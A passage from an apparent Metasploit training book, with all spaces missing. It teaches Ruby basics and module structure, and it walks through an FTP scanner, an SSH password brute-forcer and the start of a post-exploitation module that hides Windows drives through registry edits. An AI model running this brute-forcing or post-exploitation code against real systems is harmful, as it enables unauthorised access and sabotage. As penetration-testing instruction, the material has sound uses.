Intheprecedingprogram,weusedtheword"Metasploit"whichsitsrightinthemiddleofjunkdataandisassignedtothevariablea.Next,wesendthisdatatothefind_match()method,whereitmatchestheregex/Metasploit/.Itreturnsatrueconditionifthevariableacontainstheword"Metasploit",elseafalsevalueisassignedtothebool_bvariable.

Runningtheprecedingmethodwillproduceatrueconditionbasedonthedecision-makingoperator=~thatmatchesboththevalues.

Theoutputoftheprecedingprogramwillbesomewhatsimilartothefollowingscreenshot,whenexecutedinaWindows-basedenvironment:

C:\Ruby23-x64\bin>ruby.exea.rb

true

LoopsinRuby

Iterativestatementsaretermedasloops;aswithanyotherprogramminglanguage,loopsalsoexistinRubyprogramming.Let'susethemandseehowtheirsyntaxdiffersfromotherlanguages:

defforl(a)

foriin0..a

print("Number#{i}\n")

end

end

forl(10)

Theprecedingcodeiteratestheloopfrom0to10asdefinedintherangeandconsequentlyprintsoutthevalues.Here,wehaveused#{i}toprintthevalueoftheivariableintheprintstatement.The\nkeywordspecifiesanewline.Therefore,everytimeavariableisprinted,itwilloccupyanewline.

IteratingloopsthrougheachloopisalsoacommonpracticeandiswidelyusedinMetasploitmodules.Let'sseeanexample:

defeach_example(a)

a.eachdo|i|

printi.to_s+"\t"

end

end

#MainStartsHere

a=Array.new(5)

a=[10,20,30,40,50]

each_example(a)

Intheprecedingcode,wedefinedamethodwhichacceptsanarrayaandprintallitselementsusingtheeachloop.Performingaloopusingeachmethodwillstoreelementsofthearrayaintoitemporarily,untiloverwritteninthenextloop.\tintheprintstatementdenotesatab.

Tip

Refertohttp://www.tutorialspoint.com/ruby/ruby_loops.htmformoreonloops

Regularexpressions

Regularexpressionsareusedtomatchastringoritsnumberofoccurrencesinagivensetofstringsorasentence.TheconceptofregularexpressionsiscriticalwhenitcomestoMetasploit.Weuseregularexpressionsinmostcaseswhilewritingfuzzers,scanners,analyzingtheresponsefromagivenport,andsoon.

Let'shavealookatanexampleofaprogramthatdemonstratestheusageofregularexpressions.

Considerascenariowherewehaveavariable,n,withthevalueHelloworld,andweneedtodesignregularexpressionsforit.Let'shavealookatthefollowingcodesnippet:

irb(main):001:0>n="Helloworld"

=>"Helloworld"

irb(main):004:0>r=/world/

=>/world/

irb(main):005:0>r.matchn

=>#<MatchData"world">

irb(main):006:0>n=~r

=>6

Wehavecreatedanothervariablecalledrandstoredourregularexpressioninit,i.e./world/.Inthenextline,wematchtheregularexpressionwiththestringusingthematchobjectoftheMatchDataclass.TheshellrespondswithamessageMatchData"world"whichdenotesasuccessfulmatch.Next,wewilluseanotherapproachofmatchingastringusingthe=~operatorwhichreturnstheexactlocationofthematch.Let'sseeoneotherexampleofdoingthis:

irb(main):007:0>r=/^world/

=>/^world/

irb(main):008:0>n=~r

=>nil

irb(main):009:0>r=/^Hello/

=>/^Hello/

irb(main):010:0>n=~r

=>0

irb(main):014:0>r=/world$/

=>/world$/

irb(main):015:0>n=~r

=>6

Let'sassignanewvaluetor,namely,/^world/;here,the^operatortellstheinterpretertomatchthestringfromthestart.Wegetnilasanoutputifitisnotmatched.WemodifythisexpressiontostartwiththewordHello;thistime,itgivesusbackthelocationzero,whichdenotesamatchasitstartsfromtheverybeginning.Next,wemodifyourregularexpressionto/world$/,whichdenotesthatweneedtomatchthewordworldfromtheendsothatasuccessfulmatchismade.

Tip

ForfurtherinformationonregularexpressionsinRuby,refertohttp://www.tutorialspoint.com/ruby/ruby_regular_expressions.htm.RefertoaquickcheatsheetforusingRubyprogrammingeffectivelyatthefollowinglinks:https://github.com/savini/cheatsheets/raw/master/ruby/RubyCheat.pdf,http://hyperpolyglot.org/scriptingRefertohttp://rubular.com/formoreonbuildingcorrectregularexpressions.

WrappingupwithRubybasics

Hello!Stillawake?Itwasatiringsession,right?WehavejustcoveredthebasicfunctionalitiesofRubythatarerequiredtodesignMetasploitmodules.Rubyisquitevast,anditisnotpossibletocoverallitsaspectshere.However,refertosomeoftheexcellentresourcesonRubyprogrammingfromthefollowinglinks:

AgreatresourceforRubytutorialsisavailableathttp://tutorialspoint.com/ruby/AquickcheatsheetforusingRubyprogrammingeffectivelyisavailableatthefollowinglinks:

https://github.com/savini/cheatsheets/raw/master/ruby/RubyCheat.pdfhttp://hyperpolyglot.org/scripting

MoreinformationonRubyisavailableathttp://en.wikibooks.org/wiki/Ruby_Programming

DevelopingcustommodulesLetusdigdeepintotheprocessofwritingamodule.Metasploithasvariousmodulessuchaspayloads,encoders,exploits,NOPgenerators,andauxiliaries.Inthissection,wewillcovertheessentialsofdevelopingamodule;then,wewilllookathowwecanactuallycreateourowncustommodules.

Inthissection,wewilldiscussdevelopmentforauxiliaryandpost-exploitationmodules.Additionally,wewillcovercoreexploitmodulesinthenextchapter.Comingbacktothischapter,letusdiscusstheessentialsofmodulebuildingindetail.

Buildingamoduleinanutshell

LetusunderstandhowthingsarearrangedintheMetasploitframework,aswellasallthecomponentsofMetasploitandwhattheydo.

ThearchitectureoftheMetasploitframework

Metasploitcomprisesvariouscomponentssuchasimportantlibraries,modules,plugins,andtools.AdiagrammaticviewofthestructureofMetasploitisasfollows:

Let'sseewhatthesecomponentsareandhowtheywork.ItisbesttostartwiththelibrariesthatactastheheartofMetasploit.

Let'sunderstandtheuseofvariouslibrariesasexplainedinthefollowingtable:

Libraryname Uses

REXHandlesalmostallcorefunctionssuchassettingupsockets,connections,formatting,andallotherrawfunctions

MSFCORE ProvidesthebasicAPIandtheactualcorethatdescribestheframework

MSFBASE ProvidesfriendlyAPIsupporttomodules

WehavemanytypesofmodulesinMetasploit,andtheydifferintermsoftheirfunctionality.Wehavepayloadmodulesforcreatingaccesschannelsto

functionality.Wehavepayloadmodulesforcreatingaccesschannelstoexploitedsystems.Wehaveauxiliarymodulestocarryoutoperationssuchasinformationgathering,fingerprinting,fuzzinganapplication,andloggingintovariousservices.Let'sexaminethebasicfunctionalityofthesemodules,asshowninthefollowingtable:

Moduletype Working

Payloads

Thisisusedtocarryoutoperationssuchasconnectingtoorfromthetargetsystemafterexploitation,orperformingaspecifictasksuchasinstallingaserviceandsoon.

Payloadexecutionisthenextstepafterthesystemisexploitedsuccessfully.ThewidelyusedmeterpretershellinthepreviouschapterisacommonMetasploitpayload.

AuxiliaryAuxiliarymodulesareaspecialkindofmodulethatperformsspecifictaskssuchasinformationgathering,databasefingerprinting,scanningthenetworkinordertofindaparticularserviceandenumeration,andsoon.

Encoders Encodersareusedtoencodepayloadsandtheattackvectorsinordertoevadedetectionbyantivirussolutionsorfirewalls.

NOPs NOPgeneratorsareusedforalignmentwhichresultsinmakingexploitsstable.

Exploits Theactualcodethattriggersavulnerability.

Understandingthefilestructure

FilestructureinMetasploitislaidoutintheschemeasshowninthefollowingscreenshot:

Letusunderstandthemostrelevantdirectories,whichwillaidusinbuildingmodulesforMetasploitthroughthefollowingtable:

Directory Usage

libTheheartandsoulofMetasploit;containsalltheimportantlibraryfilestohelpusbuildMSFmodules.

modules

AlltheMetasploitmodulesarecontainedinthisdirectory.Fromscannerstopostexploitationmodules,everymodulewhichwasintegratedtoMetasploitprojectcanbefoundinthisdirectory.

tools

Commandlineutilitiesthataidpenetrationtestingarecontainedinthisfolder.FromcreatingjunkpatternstofindingJMPESPaddressesforsuccessfulexploitwriting,allthehelpfulcommandlineutilitiesarepresenthere.

plugins

Alltheplug-ins,whichextendsthefeaturesofMetasploit,arestoredinthisdirectory.CommonpluginsareOpenVAS,Nexpose,Nessusandvariousotherswhichcanbeloadedintotheframeworkusingtheloadcommand.

theframeworkusingtheloadcommand.

scripts Thisdirectorycontainsmeterpreterandvariousotherscripts.

Thelibrarieslayout

MetasploitmodulesarethebuildupofvariousfunctionscontainedindifferentlibrariesandthegeneralRubyprogramming.Now,tousethesefunctions,firstweneedtounderstandwhattheyare.Howcanwetriggerthesefunctions?Whatnumberofparametersdoweneedtopass?Moreover,whatwillthesefunctionsreturn?

Letushavealookathowtheselibrariesareactuallyorganized;thisisillustratedinthefollowingscreenshot:

Aswecanseeintheprecedingscreenshot,wehavetheimportantREXlibrarieslocatedinthe/libdirectoryandalltheotherimportantdirectoriesforvariousserviceslistedinitaswell.

Theotherimportant/baseand/corelibrarydirectoriesarelocatedunderthe/msfdirectory,whichisclearlyvisibleinthefollowingscreenshot:

Now,underthe/msf/corelibrariesfolder,wehavelibrariesforallthemodulesweusedearlierinthefirstchapter;thisisillustratedinthefollowingscreenshot:

Theselibraryfilesprovidethecoreforallmodules.However,fordifferentoperationsandfunctionalities,wecanrefertoanylibrarywewant.SomeofthemostwidelyusedlibraryfilesinmostoftheMetasploitmodulesarelocatedinthecore/exploits/directory,asshowninthefollowingscreenshot:

Aswecansee,it'seasytofindalltherelevantlibrariesforvarioustypesofmodulesinthecore/directory.Currently,wehavecorelibrariesforexploits,payload,post-exploitation,encoders,andvariousothermodules.

Tip

VisittheMetasploitGitrepositoryathttps://github.com/rapid7/metasploit-frameworktoaccessthecompletesourcecode.

Understandingtheexistingmodules

ThebestwaytostartwithwritingmodulesistodelvedeeperintotheexistingMetasploitmodulesandseehowtheywork.Let'sperforminexactlythesamewayandlookatsomemodulestofindoutwhathappenswhenwerunthesemodules.

TheformatofaMetasploitmodule

TheskeletonforaMetasploitmodulesisfairlysimple.Wecanseetheuniversalheadersectioninthefollowingcode:

require'msf/core'

classMetasploitModule<Msf::Auxiliary

definitialize(info={})

super(update_info(info,

'Name'=>'Modulename',

'Description'=>%q{

Saysomethingthattheusermightwanttoknow.

},

'Author'=>['Name'],

'License'=>MSF_LICENSE

))

end

defrun

#Mainfunction

end

end

Amodulegenerallystartsbyincludingtheimportantlibrarieswiththerequirekeyword,whichintheprecedingcodeisfollowedbythemsf/corelibraries.Thus,itincludesthecorelibrariesfromthemsfdirectory.

ThenextmajorthingistodefinetheclasstypeinplaceofMetasploitModule,whichisgenerallyMetasploit3orMetasploit4,basedontheintendedversionofMetasploit.Inthesamelinewherewedefinetheclasstype,weneedtodefinethetypeofmodulewearegoingtocreate.WecanseethatwehavedefinedMSF::Auxiliaryforthesamepurpose.

Intheinitializemethod,whichisdefaultconstructorinRuby,wedefinetheName,Description,Author,Licensing,CVEdetailsandsoon.Thismethod

coversalltherelevantinformationforaparticularmodule:Name,generallycontainsthesoftwarenamewhichisbeingtargeted;Descriptioncontainstheexcerptonexplanationofthevulnerability;Authoristhenameofthepersonwhodevelopthemodule;andLicenseisMSF_LICENSEasstatedintheprecedingcodeexample.Auxiliarymodule'smainmethodistherunmethod.Hence,alltheoperationsshouldbeperformedinsideitunlessanduntilyouhaveplentyofmethods.However,theexecutionwillstillbeginfromtherunmethod.

DisassemblingexistingHTTPserverscannermodule

Let'sworkwithasimplemoduleforanHTTPversionscannerandseehowitactuallyworks.ThepathtothisMetasploitmoduleis:/modules/auxiliary/scanner/http/http_version.rb.

Let'sexaminethismodulesystematically:

#ThisfileispartoftheMetasploitFrameworkandmaybesubject

to

#redistributionandcommercialrestrictions.Pleaseseethe

Metasploit

#websiteformoreinformationonlicensingandtermsofuse.

#http://metasploit.com/

require'rex/proto/http'

require'msf/core

classMetasploit3<Msf::Auxiliary

Let'sdiscusshowthingsarearrangedhere.Thecopyrightlines,startingwiththe#,symbolarethecommentsandgenerallyincludedinallMetasploitmodules.Therequire'rex/proto/http'statementtaskstheinterpretertoincludeapathtoalltheHTTPprotocolmethodsfromtheREXlibrary.Therefore,thepathtoallthefilesfromthe/lib/rex/proto/httpdirectoryisnowavailabletothemoduleasshowninthefollowingscreenshot:

AllthesefilescontainsavarietyofHTTPmethods,whichincludefunctionstosetupaconnection,theGETandPOSTrequest,responsehandling,andsoon.

Inthenextstep,therequire'msf/core'statementisusedtoincludeapathforallthesignificantcorelibrariesasdiscussedpreviously.TheclassMetasploit3statementdefinesthegivencodeintendedforMetasploitversion3andabove.However,Msf::Auxiliarydefinesthecodeasanauxiliarytypemodule.Let'snowcontinuewiththecodeasfollows:

#Exploitmixinsshouldbecalledfirst

#Exploitmixinsshouldbecalledfirst

includeMsf::Exploit::Remote::HttpClient

includeMsf::Auxiliary::WmapScanServer

#Scannermixinshouldbenearlast

includeMsf::Auxiliary::Scanner

Theprecedingsectionincludesallthenecessarylibraryfilesthatcontainmethodsusedinthemodules.Let'slistdownthepathfortheseincludedlibrariesasfollows:

IncludeStatement Path Usage

Msf::Exploit::Remote::HttpClient /lib/msf/core/exploit/http/client.rb

Thislibraryfilewillprovidevariousmethodssuchasconnectingtothetarget,sendingarequest,disconnectingaclient,andsoon.

Msf::Auxiliary::WmapScanServer /lib/msf/core/auxiliary/wmapmodule.rb

Youmightbewondering,whatisWMAP?WMAPisaweb-application-basedvulnerabilityscanneradd-onfortheMetasploitframeworkthataidswebtestingusingMetasploit.

Msf::Auxiliary::Scanner /lib/msf/core/auxiliary/scanner.rb

Thisfilecontainsallthevariousfunctionsforscanner-basedmodules.Thisfilesupportsvariousmethodssuchasrunningamodule,initializingandscanningtheprogressandsoon.

Animportantitemofinformationtomakeanoteofisthatweareabletoinclude

theselibrariesonlybecausewehavedefinedtherequire'msf/core'statementintheprecedingsection.Let'slookatthenextpieceofcode:

definitialize

super(

'Name'=>'HTTPVersionDetection',

'Description'=>'Displayversioninformationabouteach

system',

'Author'=>'hdm',

'License'=>MSF_LICENSE

)

register_wmap_options({

'OrderID'=>0,

'Require'=>{},

})

end

Thispartofthemoduledefinestheinitializemethod,whichinitializesthebasicparameterssuchasName,Author,DescriptionandLicenseforthismoduleandinitializestheWMAPparametersaswell.Now,let'shavealookatthelastsectionofthecode:

defrun_host(ip)

begin

connect

res=send_request_raw({'uri'=>'/','method'=>'GET'})

returnifnotres

fp=http_fingerprint(:response=>res)

print_status("#{ip}:#{rport}#{fp}")iffp

rescue::Timeout::Error,::Errno::EPIPE

end

end

end

Theprecedingfunctionisthemeatofthescanner.

Librariesandthefunction

Let'sseesomeimportantfunctionsfromthelibrariesthatareusedinthismoduleasfollows:

Functions LibraryFile Usage

Themainmethodwhichwillrunoncefor

run_host /lib/msf/core/auxiliary/scanner.rb

Themainmethodwhichwillrunonceforeachhost.

connect /lib/msf/core/auxiliary/scanner.rbUsedtomakeaconnectiontothetargethost.

send_raw_request /core/exploit/http/client.rbThisfunctionisusedtomakerawHTTPrequeststothetarget.

request_raw /rex/proto/http/client.rbLibrarytowhichsend_raw_requestpassesdatato.

http_fingerprint /lib/msf/core/exploit/http/client.rbParsesHTTPresponseintousablevariables.

Let'snowunderstandthemodule.Here,wehaveamethodnamedrun_hostwithIPastheparametertoestablishaconnectiontotherequiredhost.Therun_hostmethodisreferredfromthe/lib/msf/core/auxiliary/scanner.rblibraryfile.Thismethodwillrunonceforeachhostasshowninthefollowingscreenshot:

Next,wehavethebeginkeyword,whichdenotesthebeginningofthecode

block.Inthenextstatement,wehavetheconnectmethod,whichestablishestheHTTPconnectiontotheserverasdiscussedinthetablepreviously.

Next,wedefineavariablenamedres,whichwillstoretheresponse.Wewillusethesend_raw_requestmethodfromthe/core/exploit/http/client.rbfilewiththeparameterURIas/andmethodfortherequestasGET:

Theprecedingmethodwillhelpyoutoconnecttotheserver,createarequest,sendarequest,andreadtheresponse.Wesavetheresponseintheresvariable.

Thismethodpassesalltheparameterstotherequest_rawmethodfromthe/rex/proto/http/client.rbfile,wherealltheseparametersarechecked.Wehaveplentyofparametersthatcanbesetinthelistofparameters.Let'sseewhattheyare:

resisavariablethatstorestheresults.Thenextinstructionreturnstheresultofifnotresstatement.However,whenitcomestoasuccessfulrequest,executethenextcommandthatwillrunthehttp_fingerprintmethodfromthe/lib/msf/core/exploit/http/client.rbfileandstoretheresultinavariablenamedfp.ThismethodwillrecordandfilteroutinformationsuchasSet-cookie,Powered-byandothersuchheaders.ThismethodrequiresanHTTPresponsepacketinordertomakethecalculations.So,wewillsupply:response=>resasaparameter,whichdenotesthatfingerprintingshouldoccuronthedatareceivedfromtherequestgeneratedpreviouslyusingres.However,ifthisparameterisnotgiven,itwillredoeverythingandgetthedataagainfromthesource.Inthenextline,wesimplyprintouttheresponse.Thelastline,rescue::Timeout::Error,::Errno::EPIPE,willhandleexceptionsifthemoduletimesout.

Now,letusrunthismoduleandseewhattheoutputis:

Wehavenowseenhowamoduleactuallyworks.Let'stakethisastepfurtherandtrywritingourowncustommodule.

WritingoutacustomFTPscannermodule

Let'stryandbuildasimplemodule.WewillwriteasimpleFTPfingerprintingmoduleandseehowthingswork.Let'sexaminethecodefortheFTPmodule:

require'msf/core'

classMetasploit3<Msf::Auxiliary

includeMsf::Exploit::Remote::Ftp

includeMsf::Auxiliary::Scanner

includeMsf::Auxiliary::Report

definitialize

super(

'Name'=>'FTPVersionScannerCustomizedModule',

'Description'=>'DetectFTPVersionfromtheTarget',

'Author'=>'NipunJaswal',

'License'=>MSF_LICENSE

)

register_options(

[

Opt::RPORT(21),

],self.class)

end

Westartourcodebydefiningtherequiredlibraries.Wedefinethestatementrequired'msf/core'toincludethepathtothecorelibrariesattheveryfirststep.Then,wedefinewhatkindofmodulewearecreating;inthiscase,wearewritinganauxiliarymoduleexactlythewaywedidforthepreviousmodule.Next,wedefinethelibraryfilesweneedtoincludefromthecorelibrarysetasfollows:

IncludeStatement Path Usage

Msf::Exploit::Remote::Ftp /lib/msf/core/exploit/ftp.rb

ThelibraryfilecontainsallthenecessarymethodsrelatedtoFTP,suchasmethodsforsettingupaconnection,logintotheFTPservice,sendingaFTPcommandetcetera.

Thisfilecontainsallthevariousfunctionsforscanner-basedmodules.Thisfilesupportsvariousmethodssuchasrunning

Msf::Auxiliary::Scanner /lib/msf/core/auxiliary/scanner.rb variousmethodssuchasrunningamodule,initializingandscanningtheprogress.

Msf::Auxiliary::Report /lib/msf/core/auxiliary/report.rb

Thisfilecontainsallthevariousreportingfunctionsthathelpsthestorageofdatafromtherunningmodulesintothedatabase.

Wedefinetheinformationofthemodulewithattributessuchasname,description,authorname,andlicenseintheinitializemethod.Wealsodefinewhatoptionsarerequiredforthemoduletowork.Forexample,hereweassignRPORTtoport21,whichisthedefaultportforFTP.Let'scontinuewiththeremainingpartofthemodule:

defrun_host(target_host)

connect(true,false)

if(banner)

print_status("#{rhost}isrunning#{banner}")

report_service(:host=>rhost,:port=>rport,:name=>"ftp",

:info=>banner)

end

disconnect

end

Librariesandthefunction

Let'sseesomeimportantfunctionsfromthelibraries,whichareusedinthismoduleasfollows:

Functions LibraryFile Usage

run_host /lib/msf/core/auxiliary/scanner.rbThemainmethodwhichwillrunonceforeachhost.

connect /lib/msf/core/exploit/ftp.rb

Thisfunctionisresponsibleforinitializingaconnectiontothehostandgrabbingthebannerthatitstoresinthebannervariableautomatically.

report_service /lib/msf/core/auxiliary/report.rb

Thismethodisusedspecificallyforaddingaserviceanditsassociateddetailsintothedatabase.

database.

Wedefinetherun_hostmethod,whichservesasthemainmethod.Theconnectfunctionwillberesponsibleforinitializingaconnectiontothehost.However,wesupplytwoparameterstotheconnectfunction,whicharetrueandfalse.Thetrueparameterdefinestheuseofglobalparameters,whereasfalseturnsofftheverbosecapabilitiesofthemodule.ThebeautyoftheconnectfunctionliesinitsoperationofconnectingtothetargetandrecordingthebanneroftheFTPserviceintheparameternamedbannerautomatically,asshowninthefollowingscreenshot:

Nowweknowthattheresultisstoredinthebannerattribute.Therefore,wesimplyprintoutthebannerattheend.Next,weusereport_servicefunctionsothatthescandatagetssavedtothedatabaseforlateruseorforadvancedreporting.Thefunctionislocatedinreport.rbfileintheauxiliarylibrarysection.Thecodeforreport_servicelookssimilartothefollowingscreen:

Wecanseetheprovidedparameterstothereport_servicemethodarepassedtothedatabaseusinganothermethodframework.db.report_servicefrom/lib/msf/core/db_manager/service.rb.Afterperformingallthenecessaryoperations,wesimplydisconnecttheconnectionwiththetarget.

Thiswasaneasymodule,andIrecommendthatyoutrybuildingsimplescannersandothermoduleslikethese.

Usingmsftidy

Nevertheless,beforewerunthismodule,let'scheckwhetherthemodulewejustbuiltiscorrectwithregardstoitssyntax.Wecandothisbypassingthemodulefromanin-builtMetasploittoolnamedmsftidyasshowninthefollowingscreenshot:

Wewillgetawarningmessageindicatingthatthereareafewextraspacesattheendoflinenumber19.Whenweremovetheextraspacesandrerunmsftidy,wewillseethatnoerrorisgenerated.Thisprovesthesyntaxofthemoduletobecorrect.

Now,let'srunthismoduleandseewhatwegather:

Wecanseethatthemoduleransuccessfully,andithasthebanneroftheservicerunningonport21,whichisvsFTPd2.3.4.report_servicefunctionintheprecedingmodulestoresdatatotheservicessectionwhichcanbeseenbyrunningtheservicescommand.

Tip

ForfurtherreadingontheacceptanceofmodulesintheMetasploitproject,refertohttps://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-

Accepting-Modules-and-Enhancements

WritingoutacustomSSHauthenticationbruteforcer

Forcheckingweaklogincredentials,weneedtoperformanauthenticationbruteforceattack.Theagendaofsuchtestsisnotonlytotestanapplicationagainstweakcredentialsbuttoensureproperauthorizationandaccesscontrolsaswell.Thesetestsensurethattheattackerscannotsimplybypassthesecurityparadigmbytryingthenon-exhaustivebruteforceattackandarelockedoutaftercertainrandomguesses.

DesigningthenextmoduleforauthenticationtestingontheSSHservice,wewilllookathoweasyitistodesignauthenticationbasedchecksinMetasploitandperformteststhatattackauthentication.Letusnowjumpintothecodingpartandbegindesigningamoduleasfollows:

require'msf/core'

require'metasploit/framework/credential_collection'

require'metasploit/framework/login_scanner/ssh'

classMetasploit3<Msf::Auxiliary

includeMsf::Auxiliary::Scanner

includeMsf::Auxiliary::Report

includeMsf::Auxiliary::AuthBrute

definitialize

super(

'Name'=>'SSHScanner',

'Description'=>%q{

MyModule.

},

'Author'=>'NipunJaswal',

'License'=>MSF_LICENSE

)

register_options(

[

Opt::RPORT(22)

],self.class)

End

Inthepreviousexamples,wehavealreadyseentheimportanceofusingMsf::Auxiliary::ScannerandMsf::Auxiliary::Report.Let'sseetheother

includedlibrariesandunderstandtheirusagethroughthefollowingtable:

IncludeStatement Path Usage

Msf::Auxiliary::AuthBrute /lib/msf/core/auxiliary/auth_brute.rb

Providesthenecessarybruteforcingmechanismsandfeaturessuchasprovidingoptionsforusingsingleentryusernameandpasswords,wordlists,blankpasswordsetcetera.

Intheprecedingcode,wealsoincludedthreefileswhicharemsf/core,metasploit/framework/login_scanner/sshandmetasploit/framework/credential_collection.Themsf/coreincludesthepathtothecorelibraries.Themetasploit/framework/login_scanner/sshincludesSSHloginscannerlibrarythateliminatesallmanualoperationsandprovidesabasicAPItoSSHscanning.Themetasploit/framework/credential_collectionhelpscreatingmultiplecredentialsbasedontheuserinputsfromthedatastore.

Next,wedefinetheclassversionandtypeofthemoduleaswedidforpreviousmodules.Intheinitializesection,wedefinethebasicinformationforthismodule.Let'sseethenextsection:

defrun_host(ip)

cred_collection=

Metasploit::Framework::CredentialCollection.new(

blank_passwords:datastore['BLANK_PASSWORDS'],

pass_file:datastore['PASS_FILE'],

password:datastore['PASSWORD'],

user_file:datastore['USER_FILE'],

userpass_file:datastore['USERPASS_FILE'],

username:datastore['USERNAME'],

user_as_pass:datastore['USER_AS_PASS'],

)

scanner=Metasploit::Framework::LoginScanner::SSH.new(

host:ip,

port:datastore['RPORT'],

cred_details:cred_collection,

proxies:datastore['Proxies'],

stop_on_success:datastore['STOP_ON_SUCCESS'],

stop_on_success:datastore['STOP_ON_SUCCESS'],

bruteforce_speed:datastore['BRUTEFORCE_SPEED'],

connection_timeout:datastore['SSH_TIMEOUT'],

framework:framework,

framework_module:self,

)

Wecanseethatwehavetwoobjectsintheprecedingcode,whicharecred_collectionandscanner.AnimportantpointtomakeanoteofhereisthatwedonotrequireanymanualmethodsofloggingintotheSSHservice,becauseloginscannerdoeseverythingforus.Therefore,cred_collectionisdoingnothingbutyieldingsetsofcredentialsbasedonthedatastoreoptionssetonamodule.ThebeautyoftheCredentialCollectionclassliesinthefactthatitcantakeasingleusername/passwordcombination,wordlistsandblankcredentialsallatonceoroneofthematatime.

Allloginscannermodulesrequirecredentialobjectsfortheirloginattempts.scannerobjectdefinedintheprecedingcodeinitializeanobjectfortheSSHclass.Thisobjectstorestheaddressofthetarget,port,credentialsasgeneratedbytheCredentialCollectionclassandotherdatalikeproxyinformation,stop_on_successthatwillstopthescanningonsuccessfulcredentialmatch,bruteforcespeedandthevalueoftheattempttimeout.

Uptothispointinthemodule,wecreatedtwoobjectscred_collectionthatwillgeneratecredentialsbasedontheuserinputandscannerobject,whichwillusethosecredentialstoscanthetarget.Next,weneedtodefineamechanismsothatallthecredentialsfromawordlistordefinedassingleparametersaretestedagainstthetarget.

Wehavealreadyseentheusageofrun_hostinpreviousexamples.Let'sseewhatotherimportantfunctionsfromvariouslibrarieswearegoingtouseinthismodule:

Functions LibraryFile Usage

create_credential() /lib/msf/core/auxiliary/report.rbToyieldcredentialdatafromtheresultobject.

create_credential_login() /lib/msf/core/auxiliary/report.rb

Tocreatelogincredentialsfromtheresultobject,whichcanbeusedtologintoaparticular

usedtologintoaparticularservice.

invalidate_login /lib/msf/core/auxiliary/report.rbTomarkasetofcredentialsasinvalidforaparticularservice.

Let'sseehowwecanachievethat:

scanner.scan!do|result|

credential_data=result.to_h

credential_data.merge!(

module_fullname:self.fullname,

workspace_id:myworkspace_id

)

ifresult.success?

credential_core=create_credential(credential_data)

credential_data[:core]=credential_core

create_credential_login(credential_data)

print_good"#{ip}-LOGINSUCCESSFUL:#{result.credential}"

else

invalidate_login(credential_data)

print_status"#{ip}-LOGINFAILED:#{result.credential}(#

{result.status}:#{result.proof})"

end

end

end

end

Itcanbeobservedthatweused.scantoinitializethescanandthiswillperformalltheloginattemptsbyitself,whichmeanswedonotneedtospecifyanyothermechanismexplicitly.The.scaninstructionisexactlylikeaneachloopinRuby.

Inthenextstatement,theresultsgetsavedtoresultobjectandareassignedtothevariablecredential_datausingtheto_hmethodwhichwillconvertthedatatohashformat.Inthenextline,wemergethemodulenameandworkspaceidintothecredential_datavariable.Next,werunif-elsecheckontheresultobjectusing.success,variable,whichdenotessuccessfulloginattemptintothetarget.Iftheresult.success?Variablereturnstrue,wemarkthecredentialasasuccessfulloginattemptandstoreitintothedatabase.However,iftheconditionisnotsatisfied,wepassthecredential_datavariabletotheinvalidate_login

methodthatdenotesfailedlogin.

Itisadvisabletorunallthemodulesinthischapterandallthelaterchaptersonlyafteraconsistencycheckthroughmsftidy.Letustryrunningthemoduleasfollows:

Wecanclearlyseethatwewereabletologinwithrootand18101988asusernameandpassword.Let'sseeifwewereabletologthecredentialsintothedatabaseusingthecredscommand:

Wecanseewehavethedetailsloggedintothedatabaseandtheycanbeusedtocarryoutadvancedattacksorforreporting.

Rephrasingtheequation

Ifyouarescratchingyourheadafterworkingontheprecedingmodule,let'sunderstandthemoduleinastepbystepfashion:

1. We'vecreatedaCredentialCollectionobjectthattakesanytypeofuserinputandyieldscredentials.ThismeansthatifweprovideUSERNAMEasrootandPASSWORDasroot,itwillyieldthoseasasinglecredential.However,ifweuseUSER_FILEandPASS_FILEasdictionariesthenitwilltakeeachusernameandpasswordfromthedictionaryfileandwillgeneratecredentialsforeachcombinationofusernameandpasswordfromthefilesrespectively.

2. We'vecreatedscannerobjectforSSH,whichwilleliminateanymanualcommandusageandwillsimplycheckallthecombinationswesuppliedoneaftertheother.

3. We'verunourscannerusing.scanmethod,whichwillinitializeauthenticationbruteforceonthetarget.

4. .scanmethodwillscanallcredentialsoneaftertheotherandbasedontheresultitwilleitherstoreitintothedatabaseanddisplaythesamewithprint_goodelsewilldisplayitusingprint_statuswithoutsavingit.

Writingadrivedisablerpostexploitationmodule

Now,aswehaveseenthebasicsofmodulebuilding,wecangoastepfurtherandtrytobuildapost-exploitationmodule.Apointtorememberhereisthatwecanonlyrunapost-exploitationmoduleafteratargethasbeencompromisedsuccessfully.

So,let'sbeginwithasimpledrivedisablermodule,whichwilldisabletheselecteddriveatthetargetsystemwhichisaWindows10operatingsystem.Let'sseethecodeforthemoduleasfollows:

require'msf/core'

require'rex'

require'msf/core/post/windows/registry'

classMetasploit3<Msf::Post

includeMsf::Post::Windows::Registry

definitialize

super(

'Name'=>'DriveDisabler',

'Description'=>'ThisModulesHidesandRestrictAccess

toaDrive',

'License'=>MSF_LICENSE,

'Author'=>'NipunJaswal'

)

register_options(

[

OptString.new('DriveName',[true,'PleaseSETtheDrive

Letter'])

],self.class)

end

Westartedinthesamewayaswedidinthepreviousmodules.Wehaveaddedthepathtoalltherequiredlibrariesweneededforthispost-exploitationmodule.Let'sseeanynewinclusionandtheirusagethroughthefollowingtable:

IncludeStatement Path Usage

Msf::Post::Windows::Registry lib/msf/core/post/windows/registry.rb

ThislibrarywillgiveusthepowertouseregistrymanipulationfunctionswitheaseusingRubyMixins

Next,wedefinethetypeofmoduleandtheintendedversionofMetasploit.Inthiscase,itisPostforpost-exploitationandMetasploit3istheintendedversion.Proceedingwiththecode,wedefinethenecessaryinformationforthemoduleintheinitializemethod.Wecanalwaysdefineregister_optionstodefineourcustomoptionstousewiththemodule.Here,wedefineDriveNameasstringdatatypeusingOptString.new.Thedefinitionofanewoptionrequirestwoparametersthatarerequiredanddescription.Wesetthevalueofrequiredtotruebecauseweneedadrivelettertoinitiatethehidinganddisablingprocess.Hence,settingittotruewon'tallowthemoduletorununlessavalueisassignedtoit.Next,wedefinethedescriptionforthenewlyaddedDriveNameoption.

Beforeproceedingtothenextpartofthecode,let'sseewhatimportantfunctionwearegoingtouseinthismodule:

Functions LibraryFile Usage

meterpreter_registry_key_exist lib/msf/core/post/windows/registry.rb

Checksifaparticularkeyexistsintheregistry.

registry_createkey lib/msf/core/post/windows/registry.rbCreatesanewregistrykey.

meterpreter_registry_setvaldata lib/msf/core/post/windows/registry.rbCreatesanewregistryvalue.

Let'sseetheremainingpartofthemodule:

defrun

drive_int=drive_string(datastore['DriveName'])

